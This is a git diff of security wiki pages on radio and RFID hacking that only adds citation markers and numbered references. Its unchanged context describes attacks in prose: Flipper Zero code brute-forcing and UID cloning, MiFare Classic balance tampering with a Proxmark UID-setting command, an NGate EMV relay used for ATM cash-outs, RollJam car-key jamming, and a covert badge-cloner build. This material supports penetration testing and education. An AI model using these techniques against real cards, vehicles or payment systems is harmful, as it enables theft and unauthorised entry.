+Flipper Zero can be used as a **universal remote to control any TV, air conditioner, or media center**. In this mode, Flipper **bruteforces** all **known codes** of all supported manufacturers **according to the dictionary from the SD card**. You don't need to choose a particular remote to turn off a restaurant TV.<sup>[[1]](#references)</sup>
 
 It is enough to press the power button in the Universal Remote mode, and Flipper will **sequentially send "Power Off"** commands of all the TVs it knows: Sony, Samsung, Panasonic... and so on. When the TV receives its signal, it will react and turn off.
 
@@ -32,11 +32,11 @@ Such brute-force takes time. The larger the dictionary, the longer it will take
 ### Learn New Remote
 
 It's possible to **capture an infrared signal** with Flipper Zero. If it **finds the signal in the database** Flipper will automatically **know which device this is** and will let you interact with it.\
-If it doesn't, Flipper can **store** the **signal** and will allow you to **replay it**.
+If it doesn't, Flipper can **store** the **signal** and will allow you to **replay it**.<sup>[[1]](#references)</sup>
 
 ## References
 
-- [https://blog.flipperzero.one/infrared/](https://blog.flipperzero.one/infrared/)
+- [1] [Taking over TVs with Flipper Zero Infrared Port](https://blog.flipperzero.one/infrared/)
 
 {{#include ../../../banners/hacktricks-training.md}}
 
diff --git a/src/todo/radio-hacking/flipper-zero/fz-nfc.md b/src/todo/radio-hacking/flipper-zero/fz-nfc.md
index 5159a0da16d..5520ed24ef3 100644
--- a/src/todo/radio-hacking/flipper-zero/fz-nfc.md
+++ b/src/todo/radio-hacking/flipper-zero/fz-nfc.md
@@ -53,13 +53,13 @@ For an intro about NFC [**read this page**](../pentesting-rfid.md#high-frequency
 
 ### Read
 
-Flipper Zero can **read NFC cards**, however, it **doesn't understand all the protocols** that are based on ISO 14443. However, since **UID is a low-level attribute**, you might find yourself in a situation when **UID is already read, but the high-level data transfer protocol is still unknown**. You can read, emulate and manually input UID using Flipper for the primitive readers that use UID for authorization.
+Flipper Zero can **read NFC cards**, however, it **doesn't understand all the protocols** that are based on ISO 14443. However, since **UID is a low-level attribute**, you might find yourself in a situation when **UID is already read, but the high-level data transfer protocol is still unknown**. You can read, emulate and manually input UID using Flipper for the primitive readers that use UID for authorization.<sup>[[1]](#references)</sup>
 
 #### Reading the UID VS Reading the Data Inside <a href="#reading-the-uid-vs-reading-the-data-inside" id="reading-the-uid-vs-reading-the-data-inside"></a>
 
 <figure><img src="../../../images/image (217).png" alt=""><figcaption></figcaption></figure>
 
-In Flipper, reading 13.56 MHz tags can be divided into two parts:
+In Flipper, reading 13.56 MHz tags can be divided into two parts:<sup>[[1]](#references)</sup>
 
 - **Low-level read** — reads only the UID, SAK, and ATQA. Flipper tries to guess the high-level protocol based on this data read from the card. You can't be 100% certain with this, as it is just an assumption based on certain factors.
 - **High-level read** — reads the data from the card's memory using a specific high-level protocol. That would be reading the data on a Mifare Ultralight, reading the sectors from a Mifare Classic, or reading the card's attributes from PayPass/Apple Pay.
@@ -71,11 +71,11 @@ In case Flipper Zero isn't capable of finding the type of card from the low leve
 #### EMV Bank Cards (PayPass, payWave, Apple Pay, Google Pay) <a href="#emv-bank-cards-paypass-paywave-apple-pay-google-pay" id="emv-bank-cards-paypass-paywave-apple-pay-google-pay"></a>
 
 Apart from simply reading the UID, you can extract a lot more data from a bank card. It's possible to **get the full card number** (the 16 digits on the front of the card), **validity date**, and in some cases even the **owner's name** along with a list of the **most recent transactions**.\
-However, you **can't read the CVV this way** (the 3 digits on the back of the card). Also **bank cards are protected from replay attacks**, so copying it with Flipper and then trying to emulate it to pay for something won't work.
+However, you **can't read the CVV this way** (the 3 digits on the back of the card). Also **bank cards are protected from replay attacks**, so copying it with Flipper and then trying to emulate it to pay for something won't work.<sup>[[1]](#references)</sup>
 
 ## References
 
-- [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
+- [1] [Diving into RFID Protocols with Flipper Zero](https://blog.flipperzero.one/rfid/)
 
 {{#include ../../../banners/hacktricks-training.md}}
 
diff --git a/src/todo/radio-hacking/flipper-zero/fz-sub-ghz.md b/src/todo/radio-hacking/flipper-zero/fz-sub-ghz.md
index e01fbdf799a..8523fb50878 100644
--- a/src/todo/radio-hacking/flipper-zero/fz-sub-ghz.md
+++ b/src/todo/radio-hacking/flipper-zero/fz-sub-ghz.md
@@ -4,13 +4,13 @@
 
 ## Intro <a href="#kfpn7" id="kfpn7"></a>
 
-Flipper Zero can **receive and transmit radio frequencies in the range of 300-928 MHz** with its built-in module, which can read, save, and emulate remote controls. These controls are used for interaction with gates, barriers, radio locks, remote control switches, wireless doorbells, smart lights, and more. Flipper Zero can help you to learn if your security is compromised.
+Flipper Zero can **receive and transmit radio frequencies in the range of 300-928 MHz** with its built-in module, which can read, save, and emulate remote controls. These controls are used for interaction with gates, barriers, radio locks, remote control switches, wireless doorbells, smart lights, and more. Flipper Zero can help you to learn if your security is compromised.<sup>[[1]](#references)</sup>
 
 <figure><img src="../../../images/image (714).png" alt=""><figcaption></figcaption></figure>
 
 ## Sub-GHz hardware <a href="#kfpn7" id="kfpn7"></a>
 
-Flipper Zero has a built-in sub-1 GHz module based on a [](https://www.st.com/en/nfc/st25r3916.html#overview)[CC1101 chip](https://www.ti.com/lit/ds/symlink/cc1101.pdf) and a radio antenna (the maximum range is 50 meters). Both the CC1101 chip and the antenna are designed to operate at frequencies in the 300-348 MHz, 387-464 MHz, and 779-928 MHz bands.
+Flipper Zero has a built-in sub-1 GHz module based on a [](https://www.st.com/en/nfc/st25r3916.html#overview)[CC1101 chip](https://www.ti.com/lit/ds/symlink/cc1101.pdf) and a radio antenna (the maximum range is 50 meters). Both the CC1101 chip and the antenna are designed to operate at frequencies in the 300-348 MHz, 387-464 MHz, and 779-928 MHz bands.<sup>[[1]](#references)</sup>
 
 <figure><img src="../../../images/image (923).png" alt=""><figcaption></figcaption></figure>
 
@@ -21,7 +21,7 @@ Flipper Zero has a built-in sub-1 GHz module based on a [](https://www.st.com
 > [!TIP]
 > How to find which frequency is the remote using
 
-When analysing, Flipper Zero is scanning signals strength (RSSI) at all the frequencies available in frequency configuration. Flipper Zero displays the frequency with the highest RSSI value, with signal strength higher than -90 [dBm](https://en.wikipedia.org/wiki/DBm).
+When analysing, Flipper Zero is scanning signals strength (RSSI) at all the frequencies available in frequency configuration. Flipper Zero displays the frequency with the highest RSSI value, with signal strength higher than -90 [dBm](https://en.wikipedia.org/wiki/DBm).<sup>[[1]](#references)</sup>
 
 To determine the remote's frequency, do the following:
 
@@ -35,7 +35,7 @@ To determine the remote's frequency, do the following:
 > [!TIP]
 > Find info about the frequency used (also another way to find which frequency is used)
 
-The **Read** option **listens on the configured frequency** on the indicated modulation: 433.92 AM by default. If **something is found** when reading, **info is given** in the screen. This info could be use to replicate the signal in the future.
+The **Read** option **listens on the configured frequency** on the indicated modulation: 433.92 AM by default. If **something is found** when reading, **info is given** in the screen. This info could be use to replicate the signal in the future.<sup>[[1]](#references)</sup>
 
 While Read is in use, it's possible to press the **left button** and **configure it**.\
 At this moment it has **4 modulations** (AM270, AM650, FM328 and FM476), and **several relevant frequencies** stored:
@@ -97,9 +97,9 @@ Check the list in [https://docs.flipperzero.one/sub-ghz/frequencies](https://doc
 > [!TIP]
 > Get dBms of the saved frequencies
 
-## Reference
+## References
 
-- [https://docs.flipperzero.one/sub-ghz](https://docs.flipperzero.one/sub-ghz)
+- [1] [Flipper Zero Sub-GHz documentation](https://docs.flipperzero.one/sub-ghz)
 
 {{#include ../../../banners/hacktricks-training.md}}
 
diff --git a/src/todo/radio-hacking/ibutton.md b/src/todo/radio-hacking/ibutton.md
index af0d43210d9..1408f1ef817 100644
--- a/src/todo/radio-hacking/ibutton.md
+++ b/src/todo/radio-hacking/ibutton.md
@@ -4,7 +4,7 @@
 
 ## Intro
 
-iButton is a generic name for an electronic identification key packed in a **coin-shaped metal container**. It is also called **Dallas Touch** Memory or contact memory. Even though it is often wrongly referred to as a “magnetic” key, there is **nothing magnetic** in it. In fact, a full-fledged **microchip** operating on a digital protocol is hidden inside.
+iButton is a generic name for an electronic identification key packed in a **coin-shaped metal container**. It is also called **Dallas Touch** Memory or contact memory. Even though it is often wrongly referred to as a “magnetic” key, there is **nothing magnetic** in it. In fact, a full-fledged **microchip** operating on a digital protocol is hidden inside.<sup>[[1]](#references)</sup>
 
 <figure><img src="../../images/image (915).png" alt=""><figcaption></figcaption></figure>
 
@@ -28,7 +28,7 @@ Flipper can work both in Master and Slave modes. In the key reading mode, Flippe
 
 ### Dallas, Cyfral & Metakom keys
 
-For information about how these keys works check the page [https://blog.flipperzero.one/taming-ibutton/](https://blog.flipperzero.one/taming-ibutton/)
+For information about how these keys works check the page [https://blog.flipperzero.one/taming-ibutton/](https://blog.flipperzero.one/taming-ibutton/)<sup>[[1]](#references)</sup>
 
 ### Attacks
 
@@ -41,7 +41,7 @@ flipper-zero/fz-ibutton.md
 
 ## References
 
-- [https://blog.flipperzero.one/taming-ibutton/](https://blog.flipperzero.one/taming-ibutton/)
+- [1] [Taming iButton](https://blog.flipperzero.one/taming-ibutton/)
 
 {{#include ../../banners/hacktricks-training.md}}
 
diff --git a/src/todo/radio-hacking/infrared.md b/src/todo/radio-hacking/infrared.md
index bf1d22c7d27..1e9ddeccc89 100644
--- a/src/todo/radio-hacking/infrared.md
+++ b/src/todo/radio-hacking/infrared.md
@@ -4,7 +4,7 @@
 
 ## How the Infrared Works <a href="#how-the-infrared-port-works" id="how-the-infrared-port-works"></a>
 
-**Infrared light is invisible to humans**. IR wavelength is from **0.7 to 1000 microns**. Household remotes use an IR signal for data transmission and operate in the wavelength range of 0.75..1.4 microns. A microcontroller in the remote makes an infrared LED blink with a specific frequency, turning the digital signal into an IR signal.
+**Infrared light is invisible to humans**. IR wavelength is from **0.7 to 1000 microns**. Household remotes use an IR signal for data transmission and operate in the wavelength range of 0.75..1.4 microns. A microcontroller in the remote makes an infrared LED blink with a specific frequency, turning the digital signal into an IR signal.<sup>[[1]](#references)</sup>
 
 To receive IR signals a **photoreceiver** is used. It **converts IR light into voltage pulses**, which are already **digital signals**. Usually, there is a **dark light filter inside the receiver**, which lets **only the desired wavelength through** and cuts out noise.
 
@@ -79,7 +79,7 @@ flipper-zero/fz-infrared.md
 
 ### Smart-TV / Set-top Box Takeover (EvilScreen)
 
-Recent academic work (EvilScreen, 2022) demonstrated that **multi-channel remotes that combine Infrared with Bluetooth or Wi-Fi can be abused to fully hijack modern smart-TVs**. The attack chains high-privilege IR service codes together with authenticated Bluetooth packets, bypassing channel-isolation and allowing arbitrary app launches, microphone activation, or factory-reset without physical access. Eight mainstream TVs from different vendors — including a Samsung model claiming ISO/IEC 27001 compliance — were confirmed vulnerable. Mitigation requires vendor firmware fixes or completely disabling unused IR receivers. 
+Recent academic work (EvilScreen, 2022) demonstrated that **multi-channel remotes that combine Infrared with Bluetooth or Wi-Fi can be abused to fully hijack modern smart-TVs**. The attack chains high-privilege IR service codes together with authenticated Bluetooth packets, bypassing channel-isolation and allowing arbitrary app launches, microphone activation, or factory-reset without physical access. Eight mainstream TVs from different vendors — including a Samsung model claiming ISO/IEC 27001 compliance — were confirmed vulnerable. Mitigation requires vendor firmware fixes or completely disabling unused IR receivers.<sup>[[2]](#references)</sup> 
 
 ### Air-Gapped Data Exfiltration via IR LEDs (aIR-Jumper family)
 
@@ -136,7 +136,7 @@ Firmware 1.0 (September 2024) added **dozens of extra IR protocols and optional
 
 ## References
 
-- [Flipper Zero Infrared blog post](https://blog.flipperzero.one/infrared/)
-- EvilScreen: Smart TV hijacking via remote control mimicry (arXiv 2210.03014)
+- [1] [Flipper Zero Infrared blog post](https://blog.flipperzero.one/infrared/)
+- [2] [EvilScreen: Smart TV hijacking via remote control mimicry](https://arxiv.org/abs/2210.03014)
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/todo/radio-hacking/maxiprox-mobile-cloner.md b/src/todo/radio-hacking/maxiprox-mobile-cloner.md
index 32147a2c9cf..7e9f8c82eab 100644
--- a/src/todo/radio-hacking/maxiprox-mobile-cloner.md
+++ b/src/todo/radio-hacking/maxiprox-mobile-cloner.md
@@ -5,7 +5,7 @@
 ## Goal
 Turn a mains-powered HID MaxiProx 5375 long-range 125 kHz reader into a field-deployable, battery-powered badge cloner that silently harvests proximity cards during physical-security assessments.
 
-The conversion covered here is based on TrustedSec’s “Let’s Clone a Cloner – Part 3: Putting It All Together” research series and combines mechanical, electrical and RF considerations so the final device can be thrown in a backpack and immediately used on site.
+The conversion covered here is based on TrustedSec’s “Let’s Clone a Cloner – Part 3: Putting It All Together” research series and combines mechanical, electrical and RF considerations so the final device can be thrown in a backpack and immediately used on site.<sup>[[1]](#references)</sup>
 
 > [!warning]
 > Manipulating mains-powered equipment and Lithium-ion power-banks can be dangerous.  Verify every connection **before** energising the circuit and keep the antennas, coax and ground planes exactly as they were in the factory design to avoid detuning the reader.
@@ -59,8 +59,8 @@ The conversion covered here is based on TrustedSec’s “Let’s Clone a Cloner
 
 ## 5. Range & Shielding Tests
 
-* Using a 125 kHz **Pupa** test card the portable cloner achieved consistent reads at **≈ 8 cm** in free-air – identical to mains-powered operation.
-* Placing the reader inside a thin-walled metal cash box (to simulate a bank lobby desk) reduced range to ≤ 2 cm, confirming that substantial metal enclosures act as effective RF shields.
+* Using a 125 kHz **Pupa** test card the portable cloner achieved consistent reads at **≈ 8 cm** in free-air – identical to mains-powered operation.<sup>[[1]](#references)</sup>
+* Placing the reader inside a thin-walled metal cash box (to simulate a bank lobby desk) reduced range to ≤ 2 cm, confirming that substantial metal enclosures act as effective RF shields.<sup>[[1]](#references)</sup>
 
 ## Usage Workflow
 
@@ -79,6 +79,6 @@ The conversion covered here is based on TrustedSec’s “Let’s Clone a Cloner
 
 ## References
 
-- [Let’s Clone a Cloner – Part 3 (TrustedSec)](https://trustedsec.com/blog/lets-clone-a-cloner-part-3-putting-it-all-together)
+- [1] [Let’s Clone a Cloner – Part 3 (TrustedSec)](https://trustedsec.com/blog/lets-clone-a-cloner-part-3-putting-it-all-together)
 
 {{#include ../../banners/hacktricks-training.md}}
\ No newline at end of file
diff --git a/src/todo/radio-hacking/pentesting-rfid.md b/src/todo/radio-hacking/pentesting-rfid.md
index dc8fce15543..e03b6b43ed1 100644
--- a/src/todo/radio-hacking/pentesting-rfid.md
+++ b/src/todo/radio-hacking/pentesting-rfid.md
@@ -39,7 +39,7 @@ These devices rely on **passive** **RFID** technology and operate in a **range o
 
 - **Long Range** — lower frequency translates to higher range. There are some EM-Marin and HID readers, which work from a distance of up to a meter. These are often used in car parking.
 - **Primitive protocol** — due to the low data transfer rate these tags can only transmit their short ID. In most cases, data is not authenticated and it's not protected in any way. As soon as the card is in the range of the reader it just starts transmitting its ID.
-- **Low security** — These cards can be easily copied, or even read from somebody else's pocket due to the protocol's primitiveness.
+- **Low security** — These cards can be easily copied, or even read from somebody else's pocket due to the protocol's primitiveness.<sup>[[1]](#references)</sup>
 
 **Popular 125 kHz protocols:**
 
@@ -61,7 +61,7 @@ flipper-zero/fz-125khz-rfid.md
 ## High-Frequency RFID Tags (13.56 MHz)
 
 **High-frequency tags** are used for a more complex reader-tag interaction when you need cryptography, a large two-way data transfer, authentication, etc.\
-It's usually found in bank cards, public transport, and other secure passes.
+It's usually found in bank cards, public transport, and other secure passes.<sup>[[1]](#references)</sup>
 
 **High-frequency 13.56 MHz tags are a set of standards and protocols**. They are usually referred to as [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), but that's not always correct. The basic protocol set used on the physical and logical levels is ISO 14443. High-level protocols, as well as alternative standards (like ISO 19092), are based upon it. Many people refer to this technology as **Near Field Communication (NFC)**, a term for devices operating over the 13.56 MHz frequency.
 
@@ -97,7 +97,7 @@ proxmark-3.md
 
 ### MiFare Classic offline stored-value tampering (broken Crypto1)
 
-When a system stores a monetary balance directly on a MiFare Classic card, you can often manipulate it because Classic uses NXP’s deprecated Crypto1 cipher. Crypto1 has been broken for years, allowing recovery of sector keys and full read/write of card memory with commodity hardware (e.g., Proxmark3).
+When a system stores a monetary balance directly on a MiFare Classic card, you can often manipulate it because Classic uses NXP’s deprecated Crypto1 cipher.<sup>[[5]](#references)</sup> Crypto1 has been broken for years, allowing recovery of sector keys and full read/write of card memory with commodity hardware (e.g., Proxmark3).<sup>[[3]](#references)[[4]](#references)</sup>
 
 End-to-end workflow (abstracted):
 
@@ -132,7 +132,7 @@ hf mf csetuid -u <original_uid>
 
 5) Use at terminals
 
-Readers that trust the on-card balance and the UID will accept the manipulated card. Field observations show many deployments cap balances based on field width (e.g., 16-bit fixed-point).
+Readers that trust the on-card balance and the UID will accept the manipulated card. Field observations show many deployments cap balances based on field width (e.g., 16-bit fixed-point).<sup>[[5]](#references)</sup>
 
 Notes
 
@@ -149,7 +149,7 @@ proxmark-3.md
 
 ### Building a Portable HID MaxiProx 125 kHz Mobile Cloner
 
-If you need a **long-range**, **battery-powered** solution for harvesting HID Prox® badges during red-team engagements you can convert the wall-mounted **HID MaxiProx 5375** reader into a self-contained cloner that fits in a backpack.  The full mechanical and electrical walk-through is available here:
+If you need a **long-range**, **battery-powered** solution for harvesting HID Prox® badges during red-team engagements you can convert the wall-mounted **HID MaxiProx 5375** reader into a self-contained cloner that fits in a backpack.<sup>[[2]](#references)</sup>  The full mechanical and electrical walk-through is available here:
 
 
 {{#ref}}
@@ -158,7 +158,7 @@ maxiprox-mobile-cloner.md
 
 ## NFC/EMV Relay via Android Reader↔HCE Emitter
 
-Classic EMV relay can be implemented with 2 Android devices: a victim-side reader that captures live APDUs and PIN from a real card, and an attacker-side HCE emitter at the terminal that forwards APDUs upstream. The analyzed NGate kit abuses legit Android NFC APIs and a simple framed TCP C2 to orchestrate real-time ATM cash-outs.
+Classic EMV relay can be implemented with 2 Android devices: a victim-side reader that captures live APDUs and PIN from a real card, and an attacker-side HCE emitter at the terminal that forwards APDUs upstream. The analyzed NGate kit abuses legit Android NFC APIs and a simple framed TCP C2 to orchestrate real-time ATM cash-outs.<sup>[[6]](#references)</sup>
 
 Key building blocks
 
@@ -275,13 +275,13 @@ Relay chain (end-to-end)
 
 ## References
 
-- [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
-- [Let's Clone a Cloner – Part 3 (TrustedSec)](https://trustedsec.com/blog/lets-clone-a-cloner-part-3-putting-it-all-together)
-- [NXP statement on MIFARE Classic Crypto1](https://www.mifare.net/en/products/chip-card-ics/mifare-classic/security-statement-on-crypto1-implementations/)
-- [MIFARE security overview (Wikipedia)](https://en.wikipedia.org/wiki/MIFARE#Security)
-- [NFC card vulnerability exploitation in KioSoft Stored Value (SEC Consult)](https://sec-consult.com/vulnerability-lab/advisory/nfc-card-vulnerability-exploitation-leading-to-free-top-up-kiosoft-payment-solution/)
-- [Analysis of NGate malware campaign (CERT-PL)](https://cert.pl/en/posts/2025/11/analiza-ngate/)
-- [Android apksigner – verify/print-certs](https://developer.android.com/studio/command-line/apksigner)
-- [Android Host Card Emulation (HCE) overview](https://developer.android.com/guide/topics/connectivity/nfc/hce)
+- [1] [RFID overview (Flipper Zero blog)](https://blog.flipperzero.one/rfid/)
+- [2] [Let's Clone a Cloner – Part 3 (TrustedSec)](https://trustedsec.com/blog/lets-clone-a-cloner-part-3-putting-it-all-together)
+- [3] [NXP statement on MIFARE Classic Crypto1](https://www.mifare.net/en/products/chip-card-ics/mifare-classic/security-statement-on-crypto1-implementations/)
+- [4] [MIFARE security overview (Wikipedia)](https://en.wikipedia.org/wiki/MIFARE#Security)
+- [5] [NFC card vulnerability exploitation in KioSoft Stored Value (SEC Consult)](https://sec-consult.com/vulnerability-lab/advisory/nfc-card-vulnerability-exploitation-leading-to-free-top-up-kiosoft-payment-solution/)
+- [6] [Analysis of NGate malware campaign (CERT-PL)](https://cert.pl/en/posts/2025/11/analiza-ngate/)
+- [7] [Android apksigner – verify/print-certs](https://developer.android.com/studio/command-line/apksigner)
+- [8] [Android Host Card Emulation (HCE) overview](https://developer.android.com/guide/topics/connectivity/nfc/hce)
 
 {{#include ../../banners/hacktricks-training.md}}
\ No newline at end of file
diff --git a/src/todo/radio-hacking/sub-ghz-rf.md b/src/todo/radio-hacking/sub-ghz-rf.md
index cdf29e98c64..7e82a75d61a 100644
--- a/src/todo/radio-hacking/sub-ghz-rf.md
+++ b/src/todo/radio-hacking/sub-ghz-rf.md
@@ -9,7 +9,7 @@ Garage door openers typically operate at frequencies in the 300-190 MHz range, w
 ## Car Doors
 
 Most car key fobs operate on either **315 MHz or 433 MHz**. These are both radio frequencies, and they are used in a variety of different applications. The main difference between the two frequencies is that 433 MHz has a longer range than 315 MHz. This means that 433 MHz is better for applications that require a longer range, such as remote keyless entry.\
-In Europe 433.92MHz is commonly used and in U.S. and Japan it's the 315MHz.
+In Europe 433.92MHz is commonly used and in U.S. and Japan it's the 315MHz.<sup>[[1]](#references)</sup>
 
 ## **Brute-force Attack**
 
@@ -25,7 +25,7 @@ Moreover, by using the De Bruijn Sequence (a way to reduce the number of bits ne
 
 <figure><img src="../../images/image (583).png" alt=""><figcaption></figcaption></figure>
 
-Example of this attack was implemented in [https://github.com/samyk/opensesame](https://github.com/samyk/opensesame)
+Example of this attack was implemented in [https://github.com/samyk/opensesame](https://github.com/samyk/opensesame)<sup>[[3]](#references)</sup>
 
 Requiring **a preamble will avoid the De Bruijn Sequence** optimization and **rolling codes will prevent this attack** (supposing the code is long enough to not be bruteforceable).
 
@@ -50,7 +50,7 @@ In a rolling code system, the remote control and the garage door opener have a *
 
 ### **Missing Link Attack**
 
-Basically, you listen for the button and **capture the signal whilst the remote is out of range** of the device (say the car or garage). You then move to the device and **use the captured code to open it**.
+Basically, you listen for the button and **capture the signal whilst the remote is out of range** of the device (say the car or garage). You then move to the device and **use the captured code to open it**.<sup>[[2]](#references)</sup>
 
 ### Full Link Jamming Attack
 
@@ -64,7 +64,7 @@ The victim at some point will use the **keys to lock the car**, but then the att
 ### **Code Grabbing Attack ( aka ‘RollJam’ )**
 
 This is a more **stealth Jamming technique**. The attacker will jam the signal, so when the victim tries to lock the door it won't work, but the attacker will **record this code**. Then, the victim will **try to lock the car again** pressing the button and the car will **record this second code**.\
-Instantly after this the **attacker can send the first code** and the **car will lock** (victim will think the second press closed it). Then, the attacker will be able to **send the second stolen code to open** the car (supposing that a **"close car" code can also be used to open it**). A change of frequency might be needed (as there are cars that use the same codes to open and close but listens for both commands in different frequencies).
+Instantly after this the **attacker can send the first code** and the **car will lock** (victim will think the second press closed it). Then, the attacker will be able to **send the second stolen code to open** the car (supposing that a **"close car" code can also be used to open it**). A change of frequency might be needed (as there are cars that use the same codes to open and close but listens for both commands in different frequencies).<sup>[[3]](#references)[[2]](#references)</sup>
 
 The attacker can **jam the car receiver and not his receiver** because if the car receiver is listening in for example a 1MHz broadband, the attacker won't **jam** the exact frequency used by the remote but **a close one in that spectrum** while the **attackers receiver will be listening in a smaller range** where he can listen the remote signal **without the jam signal**.
 
@@ -76,14 +76,14 @@ The attacker can **jam the car receiver and not his receiver** because if the ca
 
 ### Alarm Sounding Jamming Attack
 
-Testing against an aftermarket rolling code system installed on a car, **sending the same code twice** immediately **activated the alarm** and immobiliser providing a unique **denial of service** opportunity. Ironically the means of **disabling the alarm** and immobiliser was to **press** the **remote**, providing an attacker with the ability to **continually perform DoS attack**. Or mix this attack with the **previous one to obtain more codes** as the victim would like to stop the attack asap.
+Testing against an aftermarket rolling code system installed on a car, **sending the same code twice** immediately **activated the alarm** and immobiliser providing a unique **denial of service** opportunity. Ironically the means of **disabling the alarm** and immobiliser was to **press** the **remote**, providing an attacker with the ability to **continually perform DoS attack**. Or mix this attack with the **previous one to obtain more codes** as the victim would like to stop the attack asap.<sup>[[2]](#references)</sup>
 
 ## References
 
-- [https://www.americanradioarchives.com/what-radio-frequency-does-car-key-fobs-run-on/](https://www.americanradioarchives.com/what-radio-frequency-does-car-key-fobs-run-on/)
-- [https://www.andrewmohawk.com/2016/02/05/bypassing-rolling-code-systems/](https://www.andrewmohawk.com/2016/02/05/bypassing-rolling-code-systems/)
-- [https://samy.pl/defcon2015/](https://samy.pl/defcon2015/)
-- [https://hackaday.io/project/164566-how-to-hack-a-car/details](https://hackaday.io/project/164566-how-to-hack-a-car/details)
+- [1] [What Radio Frequency Does Car Key Fobs Run On?](https://www.americanradioarchives.com/what-radio-frequency-does-car-key-fobs-run-on/)
+- [2] [Bypassing Rolling Code Systems](https://www.andrewmohawk.com/2016/02/05/bypassing-rolling-code-systems/)
+- [3] [Drive It Like You Hacked It (DEF CON 23) - OpenSesame / RollJam](https://samy.pl/defcon2015/)
+- [4] [How to hack a car (RollJam recreation)](https://hackaday.io/project/164566-how-to-hack-a-car/details)
 
 {{#include ../../banners/hacktricks-training.md}}
 
diff --git a/src/todo/rust-basics.md b/src/todo/rust-basics.md
index 2b279e1c6c6..0c3181c9010 100644
--- a/src/todo/rust-basics.md
+++ b/src/todo/rust-basics.md
@@ -394,7 +394,7 @@ cargo miri test  # hunts for OOB / UAF during unit tests
 
 #### Auditing dependencies with RustSec / cargo-audit
 
-Most real-world Rust vulns live in third-party crates. The RustSec advisory DB (community-powered) can be queried locally:
+Most real-world Rust vulns live in third-party crates. The RustSec advisory DB (community-powered) can be queried locally:<sup>[[1]](#references)</sup>
 ```bash
 cargo install cargo-audit
 cargo audit              # flags vulnerable versions listed in Cargo.lock
@@ -421,7 +421,7 @@ cargo install cargo-vet
 cargo vet init      # generates vet.toml
 cargo vet --locked  # verifies packages referenced in Cargo.lock
 ```
-The tool is being adopted by the Rust project infrastructure and a growing number of orgs to mitigate poisoned-package attacks.
+The tool is being adopted by the Rust project infrastructure and a growing number of orgs to mitigate poisoned-package attacks.<sup>[[2]](#references)</sup>
 
 #### Fuzzing your API surface (cargo-fuzz)
 
@@ -435,7 +435,7 @@ Add the fuzz target to your repo and run it in your pipeline.
 
 ## References
 
-- RustSec Advisory Database – <https://rustsec.org>
-- Cargo-vet: "Auditing your Rust Dependencies" – <https://mozilla.github.io/cargo-vet/>
+- [1] [RustSec Advisory Database](https://rustsec.org)
+- [2] [Cargo-vet: Auditing your Rust Dependencies](https://mozilla.github.io/cargo-vet/)
 
 {{#include ../banners/hacktricks-training.md}}